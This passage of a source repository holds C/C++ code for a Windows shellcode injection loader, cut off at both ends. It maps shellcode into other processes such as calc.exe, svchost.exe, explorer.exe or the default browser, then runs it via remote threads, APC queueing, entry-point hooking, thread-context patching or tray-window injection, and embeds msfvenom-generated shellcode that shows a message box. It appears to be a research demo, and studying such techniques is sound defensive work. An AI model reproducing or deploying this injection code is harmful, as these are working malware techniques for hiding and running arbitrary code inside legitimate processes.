GetSystemDirectory(startDir, MAX_PATH); 38 | } 39 | printf("Target: %S\n", cmdLine); 40 | //create suspended process 41 | PROCESS_INFORMATION pi; 42 | memset(&pi, 0, sizeof(PROCESS_INFORMATION)); 43 | if (create_new_process2(pi, cmdLine, startDir) == false) { 44 | return false; 45 | } 46 | LPVOID remote_shellcode_ptr = map_buffer_into_process1(pi.hProcess, g_Shellcode, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE); 47 | bool result = false; 48 | switch (mode) { 49 | case ADD_THREAD: 50 | result = run_shellcode_in_new_thread(pi.hProcess, remote_shellcode_ptr, THREAD_CREATION_METHOD::usingRandomMethod); 51 | // not neccessery to resume the main thread 52 | break; 53 | case ADD_APC: 54 | result = add_shellcode_to_apc(pi.hThread, remote_shellcode_ptr); 55 | ResumeThread(pi.hThread); //resume the main thread 56 | break; 57 | case PATCH_EP: 58 | result = paste_shellcode_at_ep(pi.hProcess, remote_shellcode_ptr, pi.hThread); 59 | ResumeThread(pi.hThread); //resume the main thread 60 | break; 61 | case PATCH_CONTEXT: 62 | result = patch_context(pi.hThread, remote_shellcode_ptr); 63 | ResumeThread(pi.hThread); //resume the main thread 64 | break; 65 | } 66 | 67 | //close handles 68 | ZwClose(pi.hThread); 69 | ZwClose(pi.hProcess); 70 | return result; 71 | } 72 | 73 | bool inject_in_existing_process() 74 | { 75 | wchar_t *process_name = L"calc.exe"; 76 | HANDLE hProcess = find_running_process(process_name); 77 | if (!hProcess) { 78 | std::wcerr << "[ERROR] Process with the name: " << process_name << " not found!\n"; 79 | return false; 80 | } 81 | LPVOID remote_shellcode_ptr = map_buffer_into_process1(hProcess, g_Shellcode, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE); 82 | if (remote_shellcode_ptr == NULL) { 83 | return false; 84 | } 85 | return run_shellcode_in_new_thread(hProcess, remote_shellcode_ptr, THREAD_CREATION_METHOD::usingRandomMethod); 86 | } 87 | 88 | int loadInt(const std::string &str) 89 | { 90 | int intVal = 0; 91 | 92 | std::stringstream ss; 93 | ss << std::dec << str; 94 | ss >> intVal; 95 | 96 | return intVal; 97 | } 98 | 99 | int main(int argc, char *argv[]) 100 | { 101 | TARGET_TYPE targetType = TARGET_TYPE::NEW_PROC; 102 | if (argc < 2) { 103 | std::cout << "args: \n"; 104 | std::cout << "targetType:\n"; 105 | std::cout << "\t" << std::dec << TARGET_TYPE::EXISTING_PROC << " : EXISTING_PROC\n"; 106 | std::cout << "\t" << std::dec << TARGET_TYPE::NEW_PROC << " : NEW_PROC\n"; 107 | std::cout << "\t" << std::dec << TARGET_TYPE::TRAY_WINDOW << " : TRAY_WINDOW\n"; 108 | std::cout << "\t---\n"; 109 | std::cout << "\tdefault: " << targetType << " \n"; 110 | } 111 | 112 | 113 | if (load_ntdll_functions() == FALSE) { 114 | printf("Failed to load NTDLL function\n"); 115 | return (-1); 116 | } 117 | if (load_kernel32_functions() == FALSE) { 118 | printf("Failed to load KERNEL32 function\n"); 119 | return (-1); 120 | } 121 | 122 | // compatibility checks: 123 | if (!is_system32b()) { 124 | printf("[WARNING] Your ystem is NOT 32 bit! Some of the methods may not work.\n"); 125 | } 126 | if (!is_compiled_32b()) { 127 | printf("[WARNING] It is recommended to compile the loader as a 32 bit application!\n"); 128 | } 129 | // choose the method: 130 | 131 | if (argc > 1) { 132 | targetType = (TARGET_TYPE)loadInt(argv[1]); 133 | if (targetType >= TARGET_TYPE_COUNT) targetType = TARGET_TYPE::NEW_PROC; 134 | } 135 | 136 | switch (targetType) { 137 | case TARGET_TYPE::TRAY_WINDOW: 138 | if (!is_system32b()) { 139 | printf("[ERROR] Not supported! Your system is NOT 32 bit!\n"); 140 | break; 141 | } 142 | // this injection is more fragile, use shellcode that makes no assumptions about the context 143 | if (inject_into_tray(g_Shellcode, sizeof(g_Shellcode))) { 144 | printf("[SUCCESS] Code injected into tray window!\n"); 145 | } 146 | break; 147 | case TARGET_TYPE::EXISTING_PROC: 148 | if (inject_in_existing_process()) { 149 | printf("[SUCCESS] Code injected into existing process!\n"); 150 | } 151 | else { 152 | printf("[ERROR] Could not inject code into existing process!\n"); 153 | } 154 | break; 155 | case TARGET_TYPE::NEW_PROC: 156 | if (inject_in_new_process(INJECTION_POINT::PATCH_EP)) { 157 | printf("[SUCCESS] Code injected into a new process!\n"); 158 | } 159 | else { 160 | printf("[ERROR] Could not inject code into a new process!\n"); 161 | } 162 | break; 163 | } 164 | 165 | system("pause"); 166 | return 0; 167 | } 168 | -------------------------------------------------------------------------------- /inject_shellcode/src/main.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ntdll_undoc.h" 4 | #include "kernel32_undoc.h" 5 | 6 | #include "target_util.h" 7 | 8 | //injection types: 9 | #include "add_thread.h" 10 | #include "add_apc.h" 11 | #include "patch_ep.h" 12 | #include "patch_context.h" 13 | #include "window_long_inject.h" 14 | -------------------------------------------------------------------------------- /inject_shellcode/src/map_buffer_into_process.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include // for printf 3 | #include 4 | #include "ntddk.h" 5 | 6 | //set of alternative functions doing the same by a different way 7 | 8 | PVOID map_buffer_into_process1(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE) 9 | { 10 | HANDLE hSection = NULL; 11 | OBJECT_ATTRIBUTES hAttributes; 12 | memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES)); 13 | 14 | LARGE_INTEGER maxSize; 15 | maxSize.HighPart = 0; 16 | maxSize.LowPart = static_cast(buffer_size); 17 | NTSTATUS status = NULL; 18 | if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, protect, SEC_COMMIT, NULL)) != STATUS_SUCCESS) 19 | { 20 | printf("[ERROR] ZwCreateSection failed, status : %x\n", status); 21 | return NULL; 22 | } 23 | 24 | PVOID sectionBaseAddress = NULL; 25 | SIZE_T viewSize = 0; 26 | SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE 27 | 28 | // map the section in context of current process: 29 | if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, protect)) != STATUS_SUCCESS) 30 | { 31 | printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status); 32 | return NULL; 33 | } 34 | printf("Section BaseAddress: %p\n", sectionBaseAddress); 35 | 36 | memcpy (sectionBaseAddress, buffer, buffer_size); 37 | printf("Buffer copied!\n"); 38 | 39 | //map the new section into context of opened process 40 | PVOID sectionBaseAddress2 = NULL; 41 | if ((status = NtMapViewOfSection(hSection, hProcess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, protect)) != STATUS_SUCCESS) 42 | { 43 | printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status); 44 | return NULL; 45 | } 46 | 47 | //unmap from the context of current process 48 | ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress); 49 | ZwClose(hSection); 50 | 51 | printf("Section mapped at address: %p\n", sectionBaseAddress2); 52 | return sectionBaseAddress2; 53 | } 54 | 55 | LPVOID map_buffer_into_process2(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE) 56 | { 57 | LPVOID remoteAddress = VirtualAllocEx(hProcess, NULL, buffer_size, MEM_COMMIT | MEM_RESERVE, protect); 58 | if (remoteAddress == NULL) { 59 | printf("Could not allocate memory in the remote process\n"); 60 | return NULL; 61 | } 62 | if (!WriteProcessMemory(hProcess, remoteAddress, buffer, buffer_size, NULL)) { 63 | VirtualFreeEx(hProcess,remoteAddress, buffer_size, MEM_FREE); 64 | return NULL; 65 | } 66 | return remoteAddress; 67 | } 68 | -------------------------------------------------------------------------------- /inject_shellcode/src/ntdll_undoc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "ntddk.h" 5 | 6 | //undocumented functions from ntdll.dll 7 | // 8 | //don't forget to load functions before use: 9 | //load_ntdll_functions(); 10 | 11 | NTSTATUS (NTAPI *NtQueueApcThread)( 12 | IN HANDLE ThreadHandle, 13 | IN PVOID ApcRoutine, 14 | IN PVOID ApcRoutineContext OPTIONAL, 15 | IN PVOID ApcStatusBlock OPTIONAL, 16 | IN ULONG ApcReserved OPTIONAL 17 | ); 18 | 19 | NTSTATUS (NTAPI *ZwSetInformationThread) ( 20 | IN HANDLE ThreadHandle, 21 | IN THREADINFOCLASS ThreadInformationClass, 22 | IN PVOID ThreadInformation, 23 | IN ULONG ThreadInformationLength 24 | ); 25 | 26 | NTSTATUS(NTAPI *NtCreateThreadEx) ( 27 | OUT PHANDLE ThreadHandle, 28 | IN ACCESS_MASK DesiredAccess, 29 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 30 | IN HANDLE ProcessHandle, 31 | IN PVOID StartRoutine, 32 | IN PVOID Argument OPTIONAL, 33 | IN ULONG CreateFlags, 34 | IN ULONG_PTR ZeroBits, 35 | IN SIZE_T StackSize OPTIONAL, 36 | IN SIZE_T MaximumStackSize OPTIONAL, 37 | IN PVOID AttributeList OPTIONAL 38 | ) = NULL; 39 | 40 | 41 | NTSTATUS (NTAPI *RtlCreateUserThread) ( 42 | IN HANDLE ProcessHandle, 43 | IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, 44 | IN BOOLEAN CreateSuspended, 45 | IN ULONG StackZeroBits, 46 | IN OUT PULONG StackReserved, 47 | IN OUT PULONG StackCommit, 48 | IN PVOID StartAddress, 49 | IN PVOID StartParameter OPTIONAL, 50 | OUT PHANDLE ThreadHandle, 51 | OUT PCLIENT_ID ClientID 52 | ); 53 | 54 | 55 | BOOL load_ntdll_functions() 56 | { 57 | HMODULE hNtdll = GetModuleHandleA("ntdll"); 58 | if (hNtdll == NULL) return FALSE; 59 | 60 | NtQueueApcThread = (NTSTATUS (NTAPI *)(HANDLE, PVOID, PVOID, PVOID, ULONG)) GetProcAddress(hNtdll,"NtQueueApcThread"); 61 | if (NtQueueApcThread == NULL) return FALSE; 62 | 63 | ZwSetInformationThread = (NTSTATUS (NTAPI *)(HANDLE, THREADINFOCLASS, PVOID, ULONG)) GetProcAddress(hNtdll,"ZwSetInformationThread"); 64 | if (ZwSetInformationThread == NULL) return FALSE; 65 | 66 | NtCreateThreadEx = (NTSTATUS (NTAPI *) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, PVOID)) GetProcAddress(hNtdll,"NtCreateThreadEx"); 67 | if (NtCreateThreadEx == NULL) return FALSE; 68 | 69 | RtlCreateUserThread = (NTSTATUS (NTAPI *) (HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN,ULONG, PULONG, PULONG, PVOID, PVOID, PHANDLE, PCLIENT_ID)) GetProcAddress(hNtdll,"RtlCreateUserThread"); 70 | if (RtlCreateUserThread == NULL) return FALSE; 71 | 72 | return TRUE; 73 | } 74 | -------------------------------------------------------------------------------- /inject_shellcode/src/patch_context.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | //32-bit version 6 | bool patch_context(HANDLE hThread, LPVOID remote_shellcode_ptr) 7 | { 8 | //get initial context of the target: 9 | BOOL res = FALSE; 10 | 11 | #if defined(_WIN64) 12 | WOW64_CONTEXT context; 13 | memset(&context, 0, sizeof(WOW64_CONTEXT)); 14 | context.ContextFlags = CONTEXT_INTEGER; 15 | res = Wow64GetThreadContext(hThread, &context); 16 | #else 17 | CONTEXT context; 18 | memset(&context, 0, sizeof(CONTEXT)); 19 | context.ContextFlags = CONTEXT_INTEGER; 20 | res = GetThreadContext(hThread, &context); 21 | #endif 22 | if (res == FALSE) { 23 | return false; 24 | } 25 | 26 | //if the process was created as suspended and didn't run yet, EAX holds it's entry point: 27 | context.Eax = (DWORD) remote_shellcode_ptr; 28 | 29 | #if defined(_WIN64) 30 | Wow64SetThreadContext(hThread, &context); 31 | #else 32 | res = SetThreadContext(hThread, &context); 33 | #endif 34 | if (res == FALSE) { 35 | return false; 36 | } 37 | printf("patched context -> EAX = %x\n", context.Eax); 38 | return true; 39 | } 40 | -------------------------------------------------------------------------------- /inject_shellcode/src/patch_ep.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "ntddk.h" 4 | #include "pe_hdrs_helper.h" 5 | #define PAGE_SIZE 0x1000 6 | 7 | // Get image base by a method #1: 8 | LPCVOID getTargetImageBase1(HANDLE hProcess) 9 | { 10 | PROCESS_BASIC_INFORMATION pbi; 11 | memset(&pbi, 0, sizeof(PROCESS_BASIC_INFORMATION)); 12 | 13 | if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) != 0) 14 | { 15 | printf("[ERROR] NtQueryInformationProcess failed\n"); 16 | return NULL; 17 | } 18 | 19 | printf("PEB = %p\n", (LPVOID)pbi.PebBaseAddress); 20 | 21 | LPCVOID ImageBase = 0; 22 | SIZE_T read_bytes = 0; 23 | if (!ReadProcessMemory(hProcess, (BYTE*)pbi.PebBaseAddress + 8, &ImageBase, sizeof(ImageBase), &read_bytes) 24 | || read_bytes != sizeof(ImageBase) 25 | ) 26 | { 27 | printf("[ERROR] Cannot read from PEB - incompatibile target!\n"); 28 | return NULL; 29 | } 30 | return ImageBase; 31 | } 32 | 33 | // Get image base by a method #2: 34 | // WARNING: this method of getting Image Base works only if 35 | // the process has been created as a SUSPENDED and didn't run yet 36 | // - it uses specific values of the registers, that are set only in this case. 37 | LPCVOID getTargetImageBase2(HANDLE hProcess, HANDLE hThread) 38 | { 39 | //get initial context of the target: 40 | #if defined(_WIN64) 41 | WOW64_CONTEXT context; 42 | memset(&context, 0, sizeof(WOW64_CONTEXT)); 43 | context.ContextFlags = CONTEXT_INTEGER; 44 | Wow64GetThreadContext(hThread, &context); 45 | #else 46 | CONTEXT context; 47 | memset(&context, 0, sizeof(CONTEXT)); 48 | context.ContextFlags = CONTEXT_INTEGER; 49 | GetThreadContext(hThread, &context); 50 | #endif 51 | //get image base of the target: 52 | DWORD PEB_addr = context.Ebx; 53 | 54 | const SIZE_T kPtrSize = sizeof(DWORD); //for 32 bit 55 | DWORD targetImageBase = 0; //for 32 bit 56 | 57 | printf("PEB = %x\n", PEB_addr); 58 | 59 | if (!ReadProcessMemory(hProcess, LPVOID(PEB_addr + 8), &targetImageBase, kPtrSize, NULL)) { 60 | printf("[ERROR] Cannot read from PEB - incompatibile target!\n"); 61 | return false; 62 | } 63 | return (LPCVOID)((ULONGLONG)targetImageBase); 64 | } 65 | 66 | bool paste_shellcode_at_ep(HANDLE hProcess, LPVOID remote_shellcode_ptr, HANDLE hThread=NULL) 67 | { 68 | LPCVOID ImageBase = NULL; //target ImageBase 69 | if (hThread != NULL) { 70 | ImageBase = getTargetImageBase2(hProcess, hThread); 71 | } else { 72 | #if defined(_WIN64) 73 | printf("[ERROR] 64bit version of this method is not implemented!\n"); 74 | return false; 75 | #else 76 | ImageBase = getTargetImageBase1(hProcess); 77 | #endif 78 | } 79 | if (ImageBase == NULL) { 80 | printf("[ERROR] Fetching ImageBase failed!\n"); 81 | return false; 82 | } 83 | printf("ImageBase = 0x%p\n", ImageBase); 84 | 85 | // read headers: 86 | SIZE_T read_bytes = 0; 87 | BYTE hdrs_buf[PAGE_SIZE]; 88 | if (!ReadProcessMemory(hProcess, ImageBase, hdrs_buf, sizeof(hdrs_buf), &read_bytes) && read_bytes != sizeof(hdrs_buf)) 89 | { 90 | printf("[-] ReadProcessMemory failed\n"); 91 | return false; 92 | } 93 | 94 | // fetch Entry Point From headers 95 | IMAGE_NT_HEADERS32 *inh = get_nt_hrds32(hdrs_buf); 96 | if (inh == NULL) return false; 97 | 98 | IMAGE_OPTIONAL_HEADER32 opt_hdr = inh->OptionalHeader; 99 | DWORD ep_rva = opt_hdr.AddressOfEntryPoint; 100 | 101 | printf("Entry Point v: %x\n", ep_rva); 102 | printf("shellcode ptr: %p\n", remote_shellcode_ptr); 103 | 104 | //make a buffer to store the hook code: 105 | const SIZE_T kHookSize = 0x10; 106 | BYTE hook_buffer[kHookSize]; 107 | memset(hook_buffer, 0xcc, kHookSize); 108 | 109 | //prepare the redirection: 110 | //address of the shellcode will be pushed on the stack and called via ret 111 | hook_buffer[0] = 0x68; //push 112 | hook_buffer[5] = 0xC3; //ret 113 | 114 | //for 32bit code: 115 | DWORD shellcode_addr = (DWORD)remote_shellcode_ptr; 116 | memcpy(hook_buffer + 1, &shellcode_addr, sizeof(shellcode_addr)); 117 | 118 | //make a memory page containing Entry Point Writable: 119 | DWORD oldProtect; 120 | if (!VirtualProtectEx(hProcess, (BYTE*)ImageBase + ep_rva, kHookSize, PAGE_EXECUTE_READWRITE, &oldProtect)) { 121 | printf("Virtual Protect Failed!\n"); 122 | return false; 123 | } 124 | 125 | //paste the redirection at Entry Point: 126 | SIZE_T writen_bytes = 0; 127 | if (!WriteProcessMemory(hProcess, (LPBYTE)ImageBase + ep_rva, hook_buffer, sizeof(hook_buffer) , &writen_bytes)) 128 | { 129 | printf("[-] WriteProcessMemory failed, err = %d\n", GetLastError()); 130 | return false; 131 | } 132 | 133 | //restore the previous access rights at entry point: 134 | DWORD oldProtect2; 135 | if (!VirtualProtectEx(hProcess, (BYTE*)ImageBase + ep_rva, kHookSize, oldProtect, &oldProtect2)) { 136 | printf("Virtual Protect Failed!\n"); 137 | return false; 138 | } 139 | return true; 140 | } 141 | -------------------------------------------------------------------------------- /inject_shellcode/src/payload.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | /* 4 | msfvenom -a x86 --platform Windows 5 | -p windows/messagebox 6 | TEXT="This is an injection demo!" 7 | TITLE="Injection Demo" 8 | -f c 9 | */ 10 | unsigned char g_Shellcode[] = 11 | "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b" 12 | "\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b" 13 | "\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24" 14 | "\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a" 15 | "\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0" 16 | "\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c" 17 | "\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a" 18 | "\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2" 19 | "\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f" 20 | "\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52" 21 | "\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33" 22 | "\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89" 23 | "\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c" 24 | "\x24\x52\xe8\x5f\xff\xff\xff\x68\x6d\x6f\x58\x20\x68\x6e\x20" 25 | "\x44\x65\x68\x63\x74\x69\x6f\x68\x49\x6e\x6a\x65\x31\xdb\x88" 26 | "\x5c\x24\x0e\x89\xe3\x68\x6f\x21\x58\x20\x68\x20\x64\x65\x6d" 27 | "\x68\x74\x69\x6f\x6e\x68\x6e\x6a\x65\x63\x68\x61\x6e\x20\x69" 28 | "\x68\x20\x69\x73\x20\x68\x54\x68\x69\x73\x31\xc9\x88\x4c\x24" 29 | "\x1a\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff" 30 | "\x55\x08"; 31 | -------------------------------------------------------------------------------- /inject_shellcode/src/pe_hdrs_helper.cpp: -------------------------------------------------------------------------------- 1 | #include "pe_hdrs_helper.h" 2 | 3 | IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer) 4 | { 5 | if (pe_buffer == NULL) return NULL; 6 | 7 | IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer; 8 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) { 9 | return NULL; 10 | } 11 | const LONG kMaxOffset = 1024; 12 | LONG pe_offset = idh->e_lfanew; 13 | if (pe_offset > kMaxOffset) return NULL; 14 | 15 | IMAGE_NT_HEADERS32 *inh = (IMAGE_NT_HEADERS32 *)((BYTE*)pe_buffer + pe_offset); 16 | return inh; 17 | } 18 | 19 | IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id) 20 | { 21 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL; 22 | 23 | //fetch relocation table from current image: 24 | PIMAGE_NT_HEADERS32 nt_headers = get_nt_hrds32((BYTE*) pe_buffer); 25 | if (nt_headers == NULL) return NULL; 26 | 27 | IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]); 28 | if (peDir->VirtualAddress == NULL) { 29 | return NULL; 30 | } 31 | return peDir; 32 | } 33 | -------------------------------------------------------------------------------- /inject_shellcode/src/pe_hdrs_helper.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer); 5 | IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id); 6 | -------------------------------------------------------------------------------- /inject_shellcode/src/sysutil.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "sysutil.h" 3 | 4 | #include 5 | #include 6 | 7 | #include "pe_hdrs_helper.h" 8 | 9 | typedef BOOL(WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); 10 | 11 | bool is_compiled_32b() 12 | { 13 | if (sizeof(LPVOID) == sizeof(DWORD)) { 14 | return true; 15 | } 16 | return false; 17 | } 18 | 19 | bool is_wow64() 20 | { 21 | LPFN_ISWOW64PROCESS fnIsWow64Process; 22 | BOOL bIsWow64 = false; 23 | 24 | //IsWow64Process is not available on all supported versions of Windows. 25 | //Use GetModuleHandle to get a handle to the DLL that contains the function 26 | //and GetProcAddress to get a pointer to the function if available. 27 | 28 | fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process"); 29 | if (fnIsWow64Process == NULL) { 30 | return false; 31 | } 32 | if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) { 33 | return false; 34 | } 35 | if (bIsWow64 == TRUE) { 36 | return true; //64 bit 37 | } 38 | return false; //32 bit 39 | } 40 | 41 | bool is_system32b() 42 | { 43 | //is the current application 32 bit? 44 | if (!is_compiled_32b()) { 45 | return false; 46 | } 47 | //check if it is running under WoW 48 | if (is_wow64()) { 49 | return false; 50 | } 51 | return true; 52 | } 53 | -------------------------------------------------------------------------------- /inject_shellcode/src/sysutil.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #define PAGE_SIZE 0x1000 5 | 6 | bool is_compiled_32b(); 7 | bool is_wow64(); 8 | bool is_system32b(); 9 | bool is_target_32bit(HANDLE hProcess, LPVOID ImageBase); 10 | -------------------------------------------------------------------------------- /inject_shellcode/src/target_util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | void replace_param(LPWSTR cmdBuf, SIZE_T cmdBufSize, LPWSTR paramVal) 5 | { 6 | wchar_t * pwc; 7 | printf("--\n"); 8 | pwc = wcsstr (cmdBuf, L"%1"); 9 | if (pwc == NULL) return; //param not found 10 | 11 | SIZE_T paramLen = wcslen(paramVal); 12 | SIZE_T offset = pwc - cmdBuf; 13 | if (offset + paramLen + 1 >= cmdBufSize) return; //no space in buffer 14 | 15 | wcsncpy (pwc, paramVal, paramLen); 16 | 17 | cmdBuf[offset + paramLen + 1] = NULL; 18 | if (offset == 0) return; 19 | 20 | if (cmdBuf[offset-1] == '\"' || cmdBuf[offset-1] == '\'') { 21 | cmdBuf[offset + paramLen] = cmdBuf[0]; 22 | cmdBuf[offset + paramLen + 1] = NULL; 23 | } 24 | } 25 | 26 | void remove_params(LPWSTR cmdLine, SIZE_T cmdLineLen) 27 | { 28 | wchar_t * pwc; 29 | printf("--\n"); 30 | 31 | WCHAR extension[] = L".exe"; 32 | SIZE_T extensionLen = wcslen(extension); 33 | pwc = wcsstr (cmdLine, extension); 34 | if (pwc == NULL) return; 35 | 36 | SIZE_T offset = pwc - cmdLine; 37 | cmdLine[offset + extensionLen] = NULL; 38 | if (cmdLine[0] == '\"' || cmdLine[0] == '\'') { 39 | cmdLine[offset + extensionLen] = cmdLine[0]; 40 | cmdLine[offset + extensionLen + 1] = NULL; 41 | } 42 | } 43 | 44 | bool get_dir(LPWSTR cmdLine, OUT LPWSTR dirBuf, SIZE_T dirBufLen = MAX_PATH) 45 | { 46 | wchar_t * pwc; 47 | pwc = wcsrchr (cmdLine, L'\\'); 48 | if (pwc == NULL) { 49 | pwc = wcsrchr (cmdLine, L'/'); 50 | } 51 | if (pwc == NULL) return false; 52 | 53 | SIZE_T offset = pwc - cmdLine + 1; 54 | if (offset >= dirBufLen) return false; 55 | 56 | if (cmdLine[offset] != '\"' && cmdLine[offset] != '\'') { 57 | return false; 58 | } 59 | if (cmdLine[0] == '\"' || cmdLine[0] == '\'') { 60 | wcsncpy(dirBuf, cmdLine+1, offset-1); 61 | dirBuf[offset-1] = NULL; 62 | } else { 63 | wcsncpy(dirBuf, cmdLine, offset); 64 | dirBuf[offset + 1] = NULL; 65 | } 66 | printf("Dir: %S\n", dirBuf); 67 | return true; 68 | } 69 | 70 | bool get_default_browser(LPWSTR lpwOutPath, DWORD szOutPath) 71 | { 72 | HKEY phkResult; 73 | DWORD iMaxLen = szOutPath; 74 | 75 | LSTATUS res = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"HTTP\\shell\\open\\command", 0, 1u, &phkResult); 76 | if (res != ERROR_SUCCESS) { 77 | printf("[ERROR] Failed with value = %x\n", res); 78 | return false; 79 | } 80 | 81 | res = RegQueryValueEx(phkResult, NULL, NULL, NULL, (LPBYTE) lpwOutPath, (LPDWORD) &iMaxLen); 82 | if (res != ERROR_SUCCESS) { 83 | printf("[ERROR] Failed with value = %x\n", res); 84 | return false; 85 | } 86 | replace_param(lpwOutPath, szOutPath, L"www.google.com"); 87 | return true; 88 | } 89 | 90 | bool get_calc_path(LPWSTR lpwOutPath, DWORD szOutPath) 91 | { 92 | #if defined(_WIN64) 93 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\calc.exe", lpwOutPath, szOutPath); 94 | #else 95 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\calc.exe", lpwOutPath, szOutPath); 96 | #endif 97 | printf("%S\n", lpwOutPath); 98 | return true; 99 | } 100 | 101 | bool get_svchost_path(LPWSTR lpwOutPath, DWORD szOutPath) 102 | { 103 | #if defined(_WIN64) 104 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\svchost.exe", lpwOutPath, szOutPath); 105 | #else 106 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\svchost.exe", lpwOutPath, szOutPath); 107 | #endif 108 | printf("%S\n", lpwOutPath); 109 | return true; 110 | } 111 | 112 | bool get_explorer_path(LPWSTR lpwOutPath, DWORD szOutPath) 113 | { 114 | ExpandEnvironmentStrings(L"%windir%\\explorer.exe", lpwOutPath, szOutPath); 115 | printf("%S\n", lpwOutPath ); 116 | return true; 117 | } 118 | -------------------------------------------------------------------------------- /inject_shellcode/src/util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | void hex_dump(unsigned char *buf, size_t buf_size) 4 | { 5 | size_t pad = 8; 6 | size_t col = 16; 7 | putchar('\n'); 8 | for (size_t i = 0; i < buf_size; i++) { 9 | if (i != 0 && i % pad == 0) putchar('\t'); 10 | if (i != 0 && i % col == 0) putchar('\n'); 11 | printf("%02X ", buf[i]); 12 | } 13 | putchar('\n'); 14 | } 15 | -------------------------------------------------------------------------------- /inject_shellcode/src/window_long_inject.cpp: -------------------------------------------------------------------------------- 1 | #include "window_long_inject.h" 2 | 3 | #include 4 | 5 | //for injection into Shell_TrayWnd 6 | PVOID map_code_and_addresses_into_process(HANDLE hProcess, LPBYTE shellcode, SIZE_T shellcodeSize) 7 | { 8 | HANDLE hSection = NULL; 9 | OBJECT_ATTRIBUTES hAttributes; 10 | memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES)); 11 | 12 | LARGE_INTEGER maxSize; 13 | maxSize.HighPart = 0; 14 | maxSize.LowPart = sizeof(LONG) * 2 + shellcodeSize; //we need space for the shellcode and two pointers 15 | NTSTATUS status = NULL; 16 | if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS) 17 | { 18 | printf("[ERROR] ZwCreateSection failed, status : %x\n", status); 19 | return NULL; 20 | } 21 | 22 | PVOID sectionBaseAddress = NULL; 23 | SIZE_T viewSize = 0; 24 | SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE 25 | 26 | // map the section in context of current process: 27 | if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, 